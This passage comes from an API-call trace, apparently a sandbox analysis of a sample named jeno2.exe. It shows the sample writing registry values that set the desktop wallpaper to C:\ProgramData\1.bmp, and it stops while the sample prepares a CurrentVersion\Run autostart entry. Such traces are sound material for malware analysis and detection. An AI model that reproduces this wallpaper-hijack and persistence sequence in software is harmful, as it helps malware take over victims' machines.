lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData=0x1452454, cbData=0x1) returned 0x6 [0177.001] GetLastError () returned 0x0 [0177.002] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0177.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0177.002] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0177.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpWideCharStr=0x14f5b84, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0177.002] SysStringByteLen (bstr="0") returned 0x1 [0177.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0177.002] SysStringByteLen (bstr="0") returned 0x1 [0177.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x14f5e2c, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0177.002] RegFlushKey (hKey=0x0) returned 0x6 [0177.002] GetLastError () returned 0x0 [0177.002] RegCloseKey (hKey=0x0) returned 0x6 [0177.002] GetLastError () returned 0x0 [0177.002] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0177.002] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=77, lpMultiByteStr=0x144bb04, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 77 [0177.003] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.003] GetLastError () returned 0x0 [0177.003] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0177.003] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=77, lpWideCharStr=0x1445ffc, cchWideChar=153 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 77 [0177.003] SysStringLen (param_1="10") returned 0x2 [0177.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0177.003] SysStringLen (param_1="10") returned 0x2 [0177.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x1452454, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0177.003] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.003] SysStringLen (param_1="WallpaperStyle") returned 0xe [0177.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0177.003] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x1452454, cbData=0x2) returned 0x6 [0177.003] GetLastError () returned 0x0 [0177.003] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0177.003] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0177.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpWideCharStr=0x14b4c5c, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0177.003] SysStringByteLen (bstr="〱") returned 0x2 [0177.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0177.004] SysStringByteLen (bstr="〱") returned 0x2 [0177.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=3, lpWideCharStr=0x14f5634, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0177.004] RegFlushKey (hKey=0x0) returned 0x6 [0177.004] GetLastError () returned 0x0 [0177.004] RegCloseKey (hKey=0x0) returned 0x6 [0177.004] GetLastError () returned 0x0 [0177.004] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0177.004] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=77, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 77 [0177.004] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.004] GetLastError () returned 0x0 [0177.004] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0177.004] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpWideCharStr=0x1445ffc, cchWideChar=153 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 77 [0177.005] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.005] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.005] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.005] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0177.005] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x14) returned 0x6 [0177.005] GetLastError () returned 0x0 [0177.005] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0177.005] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5b84, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0177.005] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.005] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.005] RegFlushKey (hKey=0x0) returned 0x6 [0177.005] GetLastError () returned 0x0 [0177.005] RegCloseKey (hKey=0x0) returned 0x6 [0177.005] GetLastError () returned 0x0 [0177.006] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0177.006] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=77, lpMultiByteStr=0x144bb04, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 77 [0177.006] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.007] GetLastError () returned 0x0 [0177.007] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0177.007] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=77, lpWideCharStr=0x1445ffc, cchWideChar=153 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 77 [0177.007] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.007] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.007] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0177.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.007] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0177.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0177.007] RegSetValueExA (hKey=0x0, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x14) returned 0x6 [0177.007] GetLastError () returned 0x0 [0177.007] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0177.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0177.007] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0177.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpWideCharStr=0x14b48fc, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0177.007] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.007] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.008] RegFlushKey (hKey=0x0) returned 0x6 [0177.008] GetLastError () returned 0x0 [0177.008] RegCloseKey (hKey=0x0) returned 0x6 [0177.008] GetLastError () returned 0x0 [0177.008] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0177.008] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 0x4c [0177.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", cchWideChar=77, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 77 [0177.008] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.008] GetLastError () returned 0x0 [0177.008] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0177.008] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍟慬獳獥䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x4c [0177.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=77, lpWideCharStr=0x1445ffc, cchWideChar=153 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Control Panel\\Desktop") returned 77 [0177.008] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.008] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.009] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0177.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.009] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0177.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f5634, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0177.009] RegSetValueExA (hKey=0x0, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5b84, cbData=0x14) returned 0x6 [0177.009] GetLastError () returned 0x0 [0177.009] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0177.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0177.009] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0177.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=19, lpWideCharStr=0x14b48fc, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0177.009] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.009] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.009] RegFlushKey (hKey=0x0) returned 0x6 [0177.009] GetLastError () returned 0x0 [0177.009] RegCloseKey (hKey=0x0) returned 0x6 [0177.009] GetLastError () returned 0x0 [0177.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x1452454, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0177.009] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0177.009] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.009] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0177.009] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0177.009] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0177.010] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.010] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0177.010] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0177.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0177.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b48fc, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0177.010] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0177.010] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0177.010] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.010] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0177.010] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0177.010] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0177.010] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.011] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0177.011] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0177.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0177.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f5634, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0177.011] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0177.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5b84, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0177.011] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0177.011] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0177.011] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0177.011] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0177.011] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0177.011] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0177.011] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x64 [0177.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0177.011] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x64 [0177.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 